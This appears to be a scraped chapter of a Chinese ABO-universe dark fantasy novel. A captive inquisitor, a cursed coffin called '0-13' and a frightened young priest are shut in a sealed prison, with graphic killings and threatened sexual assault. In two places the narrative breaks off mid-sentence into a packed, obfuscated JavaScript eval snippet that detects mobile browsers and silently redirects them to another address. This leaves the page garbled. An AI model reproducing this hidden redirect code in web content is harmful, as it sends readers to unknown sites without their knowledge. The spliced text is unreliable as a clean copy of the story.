《恋人长触手了还能要吗?》 1. 标记 灼热。滚烫。 血液在沸腾。 夏因倒伏在雪地里,四肢瘫软,意识昏沉。 雪落在鼻尖,被体温烫化,与汗珠相融。发梢濡湿成绺,在颈间蜿蜒。 夜空猩红,大雪纷飞。 熊熊烈火灼烧着古堡,焰光如恶魔的分叉的舌,舔食着尸骸内流出的血河。 那座城堡是他的家。 就在不久前,城堡内还处处洋溢着歌声与欢笑,庆祝他和孪生哥哥的十四岁生日。 眨眼间,血光淹没了笑靥,烈火焚毁了歌喉。 灰穹倾覆,夏因孤身一人倒在了雪夜。 手指狠狠扎入雪中,比雪更苍白,脸颊却蒸腾着异样的绯红。 他就要被烧化了,被火焰,也被他自己。 距离亲人惨死不过片刻,他却无法逃脱地陷入了分化初次的热.潮。 脚步声沙沙,自背后传来。 夏因陡然攥紧手指,却忽然间,被拥入了一个怀抱。 “嘘……是我。” 紫罗兰花香笼罩了他。 夏因痉挛的手指倏然一松,然后颤抖着用挽留的姿态,死死攥紧了来人的衣襟。 花香短暂地舒缓了灼渴,随即给予他更汹涌的热望。 或许是雪的原因,那人的肌肤很冷。 凉意让夏因感到舒服。 他用尽一切方式去汲取那抹凉意,用脸颊,用鼻尖,用耳垂,迷迷糊糊间,好像还试了啃咬。 轻笑声响起。 “……错了。” 那人的笑声低哑而愉悦,托起他的脸,越过自己的颈窝。 “你该咬的,是这里。” 那是后颈,紫罗兰花香的源头,信息素最浓郁处,所有Alpha和Omega的腺体。 夏因却只单纯地用脸蛋滚蹭。 那人又发出一声轻笑。 随即,冰冷的手指探入夏因的口腔,撬开他的牙关,指引他,让他的齿尖……扎进自己的腺体里。 “——” 这一刻,世界阒寂无声。 如同找到了缺失的另一半灵魂,所有的恐惧、焦灼和孤独,都在此刻找到了泄洪口。 无需更多引导,他便像一头小兽般,将牙尖埋进对方的血肉里,热切地注入自己的信息素,以换取对方那摄人的芳香。 一切结束。 灼热感终于消退,夏因无声埋在那人肩头。 睫毛慢慢濡湿,在对方的衣襟上,洇出一朵深痕。 在他们背后,千年古堡在烈火中轰然倒塌,数不清的生命在这一夜消逝。 寒风呼啸,唯独在这个充溢着紫罗兰花香的怀抱里,他留住了一丝温暖。 夏因仰起脸,试图看清对方的样子,视野却被融化的雪水模糊,只捕捉到一些模糊的色块。 他感到那人揉去了他唇瓣上的鲜血,动作轻柔。 “……好乖,”轻笑声在耳畔响起,“以后,你就属于我了。” 雪夜静谧,紫罗兰花开正盛。 夏因看到了他的汗珠,他后颈腺体上的鲜血,他因忍痛而紧绷的青色血管。 还看到了他勾起的唇,笑着开合,一字一顿。 “这是标记。” “活下去,找到我。” “我在未来…等待着与你重逢。” *** *** 时光荏苒,距离伊格尼斯城堡在风雪焚为灰烬的那一夜,已经过去了三年。 穿越终年被冰雪覆盖的火山群,从大陆最北境,光明与律法之神庇佑的银霜雪原一路南下,踏入战争与权力之神的领地。 土地焦黑,经年被战火焚烧,空气中弥漫着硫磺与灰烬的气息。 战争教会的五座大教堂之一,铁冠大教堂深处,地底监牢。 石门在铰链的低吟中缓缓升起,主教率领着一队教士步入其中。 在他们中间,悬浮着一口灵柩。 灵柩漆黑阴沉,四壁雕刻着繁复华美的纹路,纹路的沟壑中,隐约凝固着暗红色的血痕。 一条粗重的锁链缠缚其上,锁链间流转着浅金色的神性,封印着灵柩中沉眠的死者。 灵柩现在很安静。 但教士们并未放松警惕,因为他们知道,是光明教皇的大封印术暂时迫使它陷入了沉睡。 一旦锁链断裂,灵柩中的东西苏醒……没有人知道会从里面爬出什么。 “一群懦夫。没见过诅咒物似的。” 在队列的后方,有人低声嗤笑。 和队列前端的凝重气氛不同,这些落在后面的教士们有些心不在焉。 “从光明教会抢来的诅咒物,能有多危险?最多不过2级,随便一恐吓,就乖顺得像头小绵羊。” “要我说,此行最大的收获,倒应该是——” 无需他明言,众人的目光已不约而同地被吸引向另一处。 ——与灵柩一同被劫来的,一名俘虏。 他来自光明教会,被发现时倒在灵柩旁的血泊中,或许是负责押运灵柩的神官,在混战中受了重伤。 此刻,他的双臂被反剪于背后,无意识地垂着头。发丝猩红,遮掩了他的面容,只露出一截如雪的颈项。 光这一截颈项,便足够惹人遐思。 数不清的灼热视线落在那后颈上。 负责押解的教士猛地一扯手铐,俘虏的肩胛倏然绷紧,拉出一段弧线,如同翼鸟临死前的振翅。 左心口处,血迹斑驳的白衬衣上,迅速绽放出几朵血花。 “请、请不要这样,”年纪最小的教士怯生生开口,“伤口会裂开的。” 闻言,其他教士爆发出一阵哄笑。 “怎么,阿尔洛,才‘贴身’监管了他几个小时,就连魂都被他勾走了?” 名叫阿尔洛的少年怯懦地一抖,声音细若蚊蚋:“他伤得很重,好不容易才止住血。如果他死了,主教可能会责罚……” 话没说完,一个响亮的耳光已甩在他脸上,阿尔洛踉跄了好几步,险些摔倒。 “废物。就凭你也敢威胁我?” 教士收回手,目光重新落回俘虏身上,脸上的阴霾逐渐散去,取而代之的是贪婪。 “……但你的眼光还算不错。” “等主教审问完那口灵柩的秘密,这个美人就没用了。”他淫邪地舔了舔唇,“光明教会的货色,我可很久都没尝过了。” 其他教士都意味深长地笑了起来。 “——都怪那个该死的夏因·伊格尼斯!”有人咒骂,“要不是他焚杀了两名主教,我们也不至于像老鼠一样躲这整整一年。” 窃笑声戛然而止,教士们不约而同陷入死寂。 “夏因·伊格尼斯”,光是提起这个名字,便足以让所有人的脸色变得煞白。 他是所有异教徒的噩梦。 在光明教会,他被誉为“审判之光”;于银霜王国,他身居亲王大公之位,是重权在握的上位Alpha。 但对于敌对教会而言,他则是最为神秘诡谲、冷酷无情的刽子手。 据说,他只需要轻轻开口,便能处决远在另一个王国的敌对者。 他本人甚至从未在世人面前露过面。 没有人知道他是怎么做到的,只知道那些被“审判之光”锁定的神职者全部死于焚毁。 从天而降的圣光、血肉焚烧的焦糊气息、惨叫与求饶……最后连骨碴都不剩,只余飞灰。 更有甚者,据说三年前那场焚毁伊格尼斯城堡的大火,正出自其手。 ——他用“审判之光”屠杀了城堡里的每一个人,就连自己的父母和孪生哥哥都没放过。 焚烧过后,尸骨无存。 阴森的地牢中,一个颤抖的喃喃声突兀地响起。 “……血。” 教士神情恍惚,双眼死死盯着那名俘虏。 “这种浓郁的深红很少见。还记得他们怎样形容‘审判之光’吗?——‘他有一头像血的红发’。” 落在俘虏身上的贪婪目光,一瞬间被怀疑和惊惧取代。 “够了!都闭嘴。”主教发话,“把他一起关进去,弄醒了,现在开始审讯。” 阿尔洛跟随着其他三名教士,押送着灵柩与俘虏,踏入监牢之中。 这座监牢是由源晶特制的,能够阻隔神性的流通,即便是最危险的诅咒物,一旦被关入其中,也无法逃脱。 监牢内,教士提起一桶冰水,毫不留情地泼向了那名俘虏。 冰冷的水流如瀑布般倾泻而下,瞬间浸透了他的衣衫与发丝。 伴随着铁链在挣动中的刺耳摩擦音,俘虏的喘息陡然变得急促。 沾满水珠的眼睫在一震轻颤之后,缓缓掀起,露出一双冷翠色的眼眸。 当他睁开双眼的那一刻,原本笼罩在他身上的苍白与易碎瞬间消散,取而代之的是一种锋芒感,如同一柄出鞘的利刃。 那不是供人观赏的眼神,而是经历过血与火的淬炼的眼神。 在看到那双眼睛的瞬间,所有战争教徒的心中不约而同地划过一个念头:通过正常手段,恐怕很难从他嘴里撬出任何秘密了。 “那口灵柩的编号是多少?” 主教开始讯问,并不指望仅凭这一句话就能让他坦白。 却见俘虏仰起脸,直视他,声音缓慢而清晰: “编号‘0-13’。” 主教愣了一下,随即像是听到一个荒谬至极的笑话般,夸张地大笑起来。 周围的教士也随之哄笑。 阿尔洛偷眼看向俘虏,心中不解。 为什么?就算是随便编一个,也不该用这么容易被拆穿的谎言才对啊。 按照危险指数,诅咒物被划分为3级、2级、1级,至于0级,则是古籍里才会提起的传说。 整个人类史仅存在12件0级诅咒物,按照诞生顺序被命名为“0-1”至“0-12”,它们全部诞生于诸神行走于大地的数千年以前。 而在当前的神隐纪元,现世神性稀薄,根本不足以孕育出第十三件0级诅咒物。 “‘0-13’?故事编得不错。”主教满脸嘲弄,“看来你还没尝过吐真剂的威力。” 监牢内,一名高大的教士掏出早已备好的吐真剂,捏开俘虏的嘴,将液体强灌入他口中。 他被迫仰起下颌,喉结在吞咽中颤动。吐真剂很快发挥作用,剥夺了他说谎的权力。 “那口灵柩,”主教再次逼问,眸光带上了噬人的危险,“你押送的那件诅咒物,编号是什么?” 俘虏依旧目光平静,不闪不避地直视着他。 湿漉漉的发梢还在滴水,未吞尽的银色药剂从唇角滑落。 他掀起薄唇,嗓音冰冷如刀。 “编号‘0-13’——本纪元诞生的第一件0级诅咒物。” “我以为你将它封印在源晶监牢里,就已经做好了充足的心理准备。”他眼底掠过一丝讥诮,“没想到,你竟愚蠢到需要吐真剂才能认清这个事实。” “……” 哄笑声渐止,空气逐渐凝固,沉重得令人窒息。 主教的表情有一瞬间空白。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333773|167719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>0级诅咒物无法毁灭,极难封印。失控后果等同于天灾,足以将一个王国化为尸山血海。 主教浑身猛地打了个哆嗦,竟本能向后倒退两步。 “快出来!”他朝源晶监牢内呵道,随即慎重改口,“不…不能……你们可能已经被污染了……监牢不能再打开!你们必须留在里面!” “从现在开始,所有人不得进出监牢,不得擅离职守,否则视为叛教!” 地下监牢一片哗然,教士们的脸上全都写满了难以置信。 “0级?怎、怎么可能?会不会是真言剂失效了?” “蠢货,真言剂从不失效。”主教目光炙热地盯着那口灵柩,“我早该想到的,锁链上有大封印术的痕迹。光明教皇重病缠身,也只有0级诅咒物才能劳驾他全力出手了。” 所有人都陷入了难以按捺的颤抖之中。 “如果能驾驭这件诅咒物,我们的战骑将无往不胜!” 教士情绪激动地转向夏因:“有关‘0-13’的封印方式、使用方法、还有失控危害,你知道什么?说!” 俘虏似乎并没有隐瞒的意图。 “‘0-13’,许愿灵柩。”他不紧不慢道,“封印方式……” “等等。”主教突然制止,“0级诅咒物的信息拥有最高保密等级,就算是我,也无权知晓。” “看管好‘0-13’。”他命令教士,“事关重大,我将亲自禀报教皇冕下。” “是,主教。” 他们并不担忧0级诅咒物的危险性,有源晶监牢在,就算里面血流成河,外面也不会受丝毫影响。 和监牢外的高涨情绪相反,监牢内的气氛则压抑到了极点。 看着几步之遥的“0-13”,阿尔洛脸色惨白,喉咙像被死神狠狠掐紧。 不会有人放他出来了。 他们全都会惨死在源晶监牢里……也包括那个俘虏。 阿尔洛看向那个俘虏。 意外的是,他脸上竟然没有丝毫畏惧。 而且,或许是错觉,阿尔洛甚至看到,他唇角极轻地抬了一下,就像是在笑。 ……为什么?他疯了吗? 且不说“0-13”,他不知道那些Alpha在觊觎他吗? 他不知道,在这种密闭的高压环境里,他会遭到怎样污秽不堪、生不如死的折磨吗? 在重伤未愈、手脚都被铁链禁锢的情况下,面对三名四肢健全的神职者——他根本无从反抗。 正如阿尔洛所料,一切都正朝着最绝望的境地陷落。 原本负责押解的教士,一脚踹向俘虏的左肩。 “该死!害得我们和0级诅咒物关在一起!” 伤口再次崩裂,血腥味弥漫开来,却没有哀叫和求饶。 俘虏的脸被狠狠掐起,他微垂着眼,目光平静而冷淡,倒像是在俯视施暴者。 只有之前被灌药时留下的指痕,嫣红地在脸颊上浮现。 教士的怒火中,掺杂了些别的心思。 “我刚才竟然还怀疑你是‘审判之光’。”他用力按压俘虏的脸,“满手血腥的刽子手,怎么可能长这么一张脸蛋?” “倒不如说——长成这样,也能是Alpha?” “该不会是Omega假扮的吧……” 一边说着,他一边凑向俘虏的后颈,鼻翼翕动,试图嗅闻出信息素的甜香。 气流拂动过腺体,俘虏微不可察地一僵。 “别傻了,只有Alpha才能承载神性。”另一个教士说,“你见过哪个Omega身上烙印了‘神纹’?” 人类在肌肤上镌刻“神纹”,以受赐诸神的权柄,从而获得神性。 神纹的数量最多为九道,每增加一道,烙印的难度便会成倍增长,而神纹所能引发的效果也会随之显著提升。 像“审判之光”那样的神纹威能,通常需要第七道神纹才能驾驭,这样的实力,足以让他跻身主教之列。 然而,眼前的俘虏只有一道神纹。 只不过,神纹烙印的位置,有些特殊。 “听说你的神纹在舌头上。”教士不怀好意地说,“奉行禁欲的光明教会,真的会把神纹烙印在那种不知羞耻的地方?” “该不会是骗人的吧。”他狞笑,“让我来检查一下——” 说着,便用拇指捻开他的嘴.唇。 俘虏似乎放弃了反抗,温顺地被顶开齿关。 手指侵入口腔,温热、柔软。 ……剧痛。 “啊啊啊——!!” 鲜血自指根喷溅,教士惨叫着后跌。 脖颈间突然一凉。 金属的寒意浸透骨髓,锁链在他喉结上咬合收紧。 俘虏欺身而上,将他重重掀翻在地,双手间的镣铐绞住他的咽喉,发力一拧—— 咔嚓。 骨骼断裂的脆响。 生命的最后一秒,教士的眼瞳中映照出那张摄人心魄的脸。 但他永远都不可能知道,那张脸到底属于谁了。 一国公爵,“审判之光”,夏因·伊格尼斯骑跨在尸体上方,双手紧握锁链。 他绞紧人的咽喉,神情却平静得如同勒紧缰绳,驯服一匹不服管教的马。 他偏过头,吐出齐根咬断的两根手指。 浅淡的唇色染上了猩红,还有一滴血液溅到了眼尾,缀在他冰雕雪琢般的面庞上。 他撩起眼皮,漠然扫视剩下的三名教士。 “谁还对我的神纹有疑问?” “别浪费时间,一起上吧。” 2. 舔舐 霸凌者惨死眼前。 曾带给阿尔洛一个耳光的手掌,现在瘫软在地,被生生咬断了两根手指,断口还在汩汩冒血。 阿尔洛呆呆看向杀人者。 他的发丝果然像血一样猩红——这是阿尔洛的第一个想法。 第二个想法:他终于明白对方刚才为什么像是在笑了。 源晶监牢封闭后,不会再有新的教士进来干预,这里就成为了他一个人屠宰场。 而他们,是无处可逃的羔羊。 等不到“0-13”动手,他们就会被锁链套住脖颈,首身分离。 想到那个场景,阿尔洛的心理防线彻底崩溃。 他双膝一软,跌跪在对方面前。 “……对、对不…不起,我错…错错了…求求……” 他含糊不清地嗫嚅几声,忽然眼珠上翻,一头栽倒在地。 *** “……你好像把他吓晕了。” 哥哥蹲在阿尔洛身边,有些好笑。 “这就吓晕了,如果得知你是‘审判之光’,恐怕直接会吓死过去吧?” 夏因松开锁链,眸光冷淡,投向和他相貌一模一样的孪生兄长。 “刚才那一下的确够狠。”哥哥嘿嘿一笑,“其他Alpha应该不敢再打你的主意了。” “不过……” 他起身走来,绕着夏因前后端详,满脸困惑不解。 “我不明白,明明我们从里到外都是个Alpha,怎么总有人不长眼,把色心打到你头上呢?” 夏因抬手蹭去唇畔的血。 他抬步穿过哥哥,就如同穿过一个幻影。 来到“0-13”面前,他将手悬置在捆缚灵柩的锁链之上,感知其中蕴含的光明神性。 数日前,他奉光明教皇之命,押送这件0级诅咒物返回光明圣所,进行封印。 像灵柩这样被神性污染的无生命物体,被称为诅咒物。 诅咒物虽然危险性极高,但如果能掌握正确的封印与使用方法,往往能发挥出恐怖的威力。 所以,他对于战争教会的半路“劫掠”并不意外。 但夏因唯一未曾料到的是,本该与他共同押运“0-13”的光明圣徒,竟在遇袭之际,突然背叛了他。 一支“光之矛”从背后洞穿了他的心脏,他瞬间失去了意识,也切断了对后续一切的感知。 或许是诸神庇佑,他奇迹般地活了下来。 只不过…… 夏因的目光落在捆缚灵柩的锁链上,眉心微微蹙起。 刚才的神性感知告诉他,教皇冕下留下的大封印术,最多还能维持七天。 他必须尽快离开这里,履行自己的职责,将“0-13”带回圣所,进行封印。 身后一声低吟,阿尔洛悠悠醒转。 还没来得及走出被锁链绞杀的噩梦,阿尔洛的耳边就再次响起了铁链冰冷的碰撞声。 “解开我的镣铐。” 噩梦的主人公就站在他身旁,阴影沉沉压下来,目光如同审判的刀锋般悬在他的头顶。 阿尔洛险些又吓晕过去。 “站起来。”夏因淡淡道,“我不杀无辜者。” 他的嗓音仍然很冷,却透出了一丝耐心,甚至像某种变相的安抚。 阿尔洛呼吸顺畅了一点,哆哆嗦嗦地爬起身:“我不能……他们,不允许我……” “他们不会进来了。”夏因不疾不缓道,“在这里,能决定你下一秒是死是活的人,只有我。” 阿尔洛的手指纠结地绞紧,犹豫片刻,最终点点头。 他催动神纹,环绕脖颈一周的锁链状纹路陡然变得鲜红夺目。 “‘解锁’。”他用古语低喃。 咔哒一声,夏因的手铐和脚铐应声掉落在地。 上锁和解锁,是阿尔洛身上唯一一道神纹的效果。 他刚刚分化成Alpha,十四岁出头,遭逢剧变,惊慌、稚嫩、软弱,看起来就像只小绵羊。 看着他,夏因不由回想——自己的十四岁,是否也是同样? 雪夜里燃烧着的城堡,亲族临死前的哀嚎,还有火……无处不在的烈火。 十四岁的他就站在尸骸之间,看着亲人的生命从指缝间流逝,那么弱小,那么无能为力。 那场焚毁伊格尼斯城堡的烈火吞噬了所有人,却唯独放过了他。 或许是头部受创的缘故,那一夜之后,夏因忘记了许多往事。 他不记得凶手是谁,甚至无法确定,是否真的如外界流言一样,是自己的“审判之光”酿成了祸端。 唯一记得的,是有人救了他。 那时,他的第二性别刚刚分化,情.热的初次爆发焚尽了他的理智,在那人的引导下,他无意识咬了对方的腺体。 后来夏因才知道,那是Alpha对Omega的标记行为。 可夏因似乎完全不认识对方。 当他醒来,救他的人早已消失,连面容都模糊成火光中的剪影。 直到这次重伤昏迷,他做了许多有关那场大火的梦,这些回忆梦比以前更清晰,细节也更丰富。 ——他听见了那个Omega的嗓音,嗅闻到了他身上的紫罗兰幽香。 夏因阖上双眼,指节抵住突突跳动的太阳穴。 再睁眼时,目光已变得冷静而锋利,笔直地刺向监牢中央的灵柩。 梦境的变化或许就源于“0-13”的影响。 0级诅咒物的可怕之处,远不止于杀戮。 噩梦纠缠、精神失常、记忆错乱、幻觉频生……它们以玩弄人类的理智为乐,擅于将人活活逼疯。 大封印术每一秒都在失效,“0-13”正在逐渐“复活”,悄然渗透每一个人的意识。 夏因按捺下不安。 他后仰抵住墙壁,冷翠色的眼睛一错不错,牢牢锁住那口灵柩。 ——却不知什么时候,毫无征兆地,坠入了睡眠。 …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333774|167719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… 咯、咯、咯。 咯、咯、咯。 什么东西在响。 指甲在抓挠棺盖。 重物缓缓挪开,石木均匀摩擦,停止。 ……好冷。 睡梦中,夏因眉尖紧蹙。 一点一点,冰冷的东西蔓上他的身躯,将他缠绕,笼罩。 左胸.膛处,刚刚结膜的伤口生出刺痛,鲜血重新流出。 湿黏、冰冷、柔韧,那东西贴了上来,贪婪地舔.舐。 “咕……” 兽类满足的喉音。 夏因眉头紧锁,试图挣脱梦境。 往常,哪怕是最轻微的风吹草动也能将他惊醒,但这一次,他的意识却像是被蒙上了一层厚重的迷雾。 血液在流失。 冰冷的东西游走过他的每一道伤口,直到没有新的血液流出,才缓缓上移。 直到……后颈。 软物在蠕行。 腺体微凉。 “唔……” 夏因的眼皮剧烈颤动。 “啊啊——!!” 一声凄厉的尖叫刺破了梦魇。 夏因猛地睁开眼。 冷汗如雨,从鼻尖、睫毛,顺着发丝,滴落在地,伴随着他急促的喘息。 ……“0-13”。 有东西从“0-13”里出来了! 他抬头看向灵柩。 然而“0-13”依旧如他入睡前一般,安静地躺在原地。 漆黑粗重的锁链紧紧缠缚,锁链上的大封印术还在释放光辉,将所有诡异封锁其内。 ……又是一个噩梦吗? 夏因的心脏不规律地跳动着。 “0-13”对他的精神污染已经开始了,频频出现的噩梦就是证据。 余光扫到心口时,他的瞳孔猛然一缩。 衣衫被拨离,紧束的绷带拆解开来,散落在身周。 肌肤暴露在空气中,左胸.膛上,原本残留着血迹的伤口变得干净而柔嫩,软肉赤.裸地袒露着,泛着缺血的粉白。 就像被兽类细细舔食过一样。 “啊啊、啊啊啊……” 那个将他从噩梦中惊醒的惨叫声再次响起。 0.8个阿尔洛踢蹬着双腿,试图逃离什么,口中发出惊惧至极的尖叫。 他的双手已经弃他而去,和他面前的那滩东西混杂在一起。 2.2个教士被均匀剁碎,整齐排列。没有血迹残留,如果不是皮肤上均匀分布的红痕,他们看起来就只是睡着了。 咚咚、咚咚。 心脏重重在夏因的胸腔里撞击。 刚刚发生的一切不是梦境。 就在夏因意识到这一点之时—— “呵……” 灵柩深处传来了一声轻笑。 雪夜,烈火,盛放的紫罗兰。 笑声低哑而愉悦,一如初次陷入发.情热的那夜,他标记过的Omega。 3. 口腔 阿尔洛的尖叫声惊醒了所有人。 教士们恍惚着爬起身,待看清源晶监牢内的惨状之后,脸色瞬间煞白。 “我们什么时候睡着的?” “是‘0-13’在造梦……它的神性竟然渗透了源晶监牢?这怎么可能?” “愿主保佑,希望教皇冕下能尽快到来……” 恐慌如瘟疫般蔓延。 阿尔洛的眼前满是猩红。 鲜血不断从手肘的断口处喷涌而出,他踢蹬着双腿,想要逃离那抹猩红,背后却突然撞上了某种异物。 他惊惧扭头,却对上了一对眼珠——僵死的、凝固的,面目扭曲,仿佛在临死前一刻经历了最恐怖的噩梦。 在那张痉挛的面皮上,均匀布满了深红的割痕。 那些割痕让他看起来不像是人类的尸体,而是由许多立方体搭建起来的积木,只待轻轻一碰,分离的骨肉就会立刻散架。 而阿尔洛正巧撞到了它。 吧嗒,眼球从眼眶里掉落出来。 紧接着,积木迅速土崩瓦解,满地尸块。 其中几块滚到了阿尔洛身边,骨骼、肌肉、脂肪的横截面清晰可见。 阿尔洛张了张嘴。 他本该尖叫,喉咙里却没能发出可识别的音节。 “你需要包扎。”清冽的气息接近了他,“再耽搁下去,你会失血身亡。” 但阿尔洛已经无法作出任何回应了。 夏因眸光一凝,立刻拆散胸.前的绷带,准备用它们勒紧他的断肢,减缓他的失血速度。 然而,他刚一触碰到阿尔洛,少年便如同如惊弓之鸟般蹦起,剧烈翻滚着,声带震颤出不成调的破碎叫嚷。 他已经失去了理智,其他人的接近只会让他更加惊恐。 但急救时间所剩无多。 夏因当机立断,俯身以单膝压制住疯狂扭动的少年,右手按住他的肩膀,左手钳紧他的下颌,迫使他抬头。 “看着我。” 他直视阿尔洛,语调平静,却有种令人信服的魔力。 “你还活着。”他攫住少年的视线,一字一句地说,“以后也会好好活下去。” 望着那双沉静的眼眸,阿尔洛慢慢忘记了惊恐,也忘记了躲藏和挣扎。 一行泪水眨落,洗净了他眼里的混沌。 见他镇定下来,夏因开始动手包扎。 当他用绷带勒紧伤口断面时,阿尔洛不可避免地联想到了,他用铁链狠狠绞杀活人脖颈时的样子。 同样的干脆利落,但眼神不再冷漠,取而代之的是专注。 就像是被他眼里的那抹微光捕获了,阿尔洛的视线一直无法离开他的脸。 不多久,夏因结束了急救。 抬头,意外对上了阿尔洛的视线,以为对方仍在遵从“看着我”的命令,于是提醒:“可以不看了。” 少年眨了眨眼,或许是没听懂,茶褐色的眼眸仍然傻乎乎地望着他。 夏因扫了一眼他看起来不太聪明的脑瓜,眼里划过一丝担忧,不确定是否还能从他嘴里问出些什么。 ……先试试吧。 他问出了从苏醒起便一直盘桓在心头的疑惑:“之前,你有没有听到一声轻笑?” “笑声?……我睡着了,直到被、被疼痛惊醒……”回忆让阿尔洛呼吸不畅,“其他的,什么也不知道。” 听到他的回答,夏因慢慢垂眼,绿眸淹没在眼睫的阴翳里。 一缕碎发落在颊边,似乎有些失落。 那抹失落在阿尔洛看来很是刺眼。 他努力鼓起勇气,再次沉入回忆,试图在脑海内复现他惊醒后的场景。 在他放声惨叫时,是否还出现了另外一个声音—— “等等,”他想起什么,“我好像确实听到了一个声音。一个…一个低沉的笑声。” 夏因蓦然抬眸,指尖微微发烫。 那声轻笑极为耳熟。 雪花飘落的簌簌轻响中,紫罗兰的幽香里。 那人拥他入怀的时候,托起他脸颊的时候,指引他咬下标记的时候……低哑而愉悦的轻笑声在他耳畔萦绕不散。 而现在,同样的轻笑声,出现在了“0-13”的灵柩里。 周围的环境有些失真,夏因只能听见血流冲撞耳膜的嗡鸣。 他直直盯视着那口灵柩。 哥哥快步挡在他身前,隔开了他的视线。 “我知道你很想找到那个Omega,但小心,夏因,那可是0级诅咒物!” “教皇冕下的大封印术开始松动了,‘0-13’刚刚成功咒杀了两个人,它对外界的影响增强了!” “三年来,我第一次接触到关于他的线索。”夏因攥紧手指,“我不能错过。” “扭曲和狡诈是诅咒物的天性。”哥哥试图说服他,“那或许只是‘0-13’营造的幻觉,用来引诱你、俘获你。” 夏因当然明白这个道理。 只是,如果那是“0-13”仅针对他一个人营造出的幻觉,为什么其他人也听到了同样的轻笑? 灵柩里的声音有可能真实存在。 但不论如何—— 他都必须先在“0-13”的杀戮下存活。 夏因深深呼吸,感觉到热意下降,血液也恢复了正常的流速。 他看向“0-13”制造的那两具尸体。 哥哥凑过来,“噫”了一声:“厨房里放好血、清洗干净的羊排,切割得也是这么均匀整齐。” “不一样。”夏因说。 哥哥:“什么?” “两具尸体不一样。碎掉的这一具被夺走了血,肉质苍白,皮肤下陷。但另外一具更为红润丰厚,应该是……” 夏因直接上手,剥开了头顶那块骨肉,观察它的横截面。 “果然。他的血液被封存在了尸体里。没有被吸取,也没有丝毫溢出。” 他将手指放在尸体鼻前,有细微的呼吸吹拂。 “他甚至还算活着,以某种奇异的方式,维持着低耗能的濒死状态。只不过大脑已经完全死亡了。” 哥哥强忍恶心:“就像吃蜂蜜,吃不了的用罐子装起来,下一次再吃新鲜的?” “嗯,是储备粮。” “只吃活的啊……‘0-13’还挺挑食。”哥哥表情一言难尽。 夏因点头:“‘0-13’将源晶监牢里每一个人都当做了食材。不过,基于它特殊的饮食习惯,它对不同的食材分别采取了不同的处理。” “第一个,死亡,血液缺失,当场即食。” “第二个,濒死,储存血液,保鲜储备粮。” “第三个,失去小臂的幸存者,用途未知。” “第四个,我。有东西吮吸了我的伤口,但失血量不大。那么我是……” “呃,”哥哥接话,“你大概是某种零嘴?可持续品尝的那一种?” 夏因面无表情看向他。 哥哥嘿嘿一笑。 “……有这个可能。”夏因回头看向小教士,“剩下需要弄清楚的,就是那个失去双手的幸存者了。” 哥哥猜测:“可能只是‘0-13’碰巧吃饱了,饶过了那个幸存者。” “不。‘0-13’本可以将他一起制作成储备粮,但它没有。” 夏因起身,审视的目光落在阿尔洛身上。 “——所以,幸存者一定还有其他特殊的用途。” 此时,少年正发着抖,蜷缩在角落里。 看到夏因朝他走来,他眼眶里积蓄的泪水大颗大颗滚落。 “……我好冷。我是不是就要死了?”阿尔洛小声问,“你说我会活下去,其实只是在安慰我,对吗?” 夏因隔着一段距离坐在他身旁,语声冷淡而有力:“你的生命力远比你想象得更顽强。” 阿尔洛打了个哭嗝儿,稍微精神了一点。 “谢谢你替我止血。”他动了动扎着绷带的断臂,仰起脸,茶褐色的眼眸里满是孺慕,“我叫阿尔洛,你呢?” “不必谢我,你该谢你自己。”夏因只回应了第一句,“那些绷带上还残留着你的信息素,它们原本就属于你,现在不过是物归原主。” 阿尔洛一怔,苍白的脸蛋瞬间飞红。 他知道之前是我替他包扎了心口的伤……他闻到了我的信息素…… 耳畔传来嗞嗞声。 低头一看,或许是因为心跳过快,手臂断口又在喷血了。 阿尔洛眼里再次浮现出惊恐的泪水。 他迅速挪开视线,看向夏因——那是他获得勇气的最好方法。 “诅咒物、尸体、近在咫尺的死亡……你不怕吗?” “害怕只会加速死亡。”夏因道。 “可是我怕极了。”阿尔洛沮丧道,“我不想加入教会,烙印神纹。可是其他人都说,优秀的Alpha应该追逐力量和权力,奔赴战争……” “我不想加入……可是其他人都说……” “我不想……可是……” 他神经质地颤抖着,眼光发直,一遍一遍地重复同样的一段话,好像走不出某个逻辑怪圈。 “……是‘代价’。”哥哥意识到什么,“他在偿还‘代价’。” 夏因“嗯”了一声。 通过聆听神明的呓语,Alpha得以在肉.体凡胎上烙印“神纹”,获得“神性”,以分享神明的权能。 但那是有“代价”的。 人类无法完全承受呓语之中蕴含的知识和力量。烙印“神纹”之后,理智将受到动摇,精神将遭到侵蚀。 “代价”显露在外,则表现为各不相同的精神障碍。 比如偏执、遗忘、狂躁、人格分裂。 “阿尔洛的‘代价’怕不是‘复读’!”哥哥堵住耳朵,“夏因,快安慰他一下,我的耳朵要起茧子了!” “我不想,”阿尔洛还在重复,“可是其他人都说……” “其他人只是动了动嘴,并没有按着你的脑袋塞进教会。”夏因淡淡打断他,“你当时选择了盲信他人,那么现在该为自己的软弱付出代价了。” 阿尔洛停下来,呆望向他。 哥哥捂脸:“你的‘安慰’还是一如既往的伤人。” 安静片刻。 很好。终于不再黏着他了。 夏因眉心刚舒展开来,却有人蹭到了他身旁。 “我好冷,你身上好暖。”阿尔洛可怜巴巴地望着他,小声恳求,“可以抱我一下…呃、不,可以让我挨着你坐一小会吗?” 夏因:“……” “他的精神障碍更严重了。”哥哥嘴角抽搐,“这次是什么,受虐倾向?” 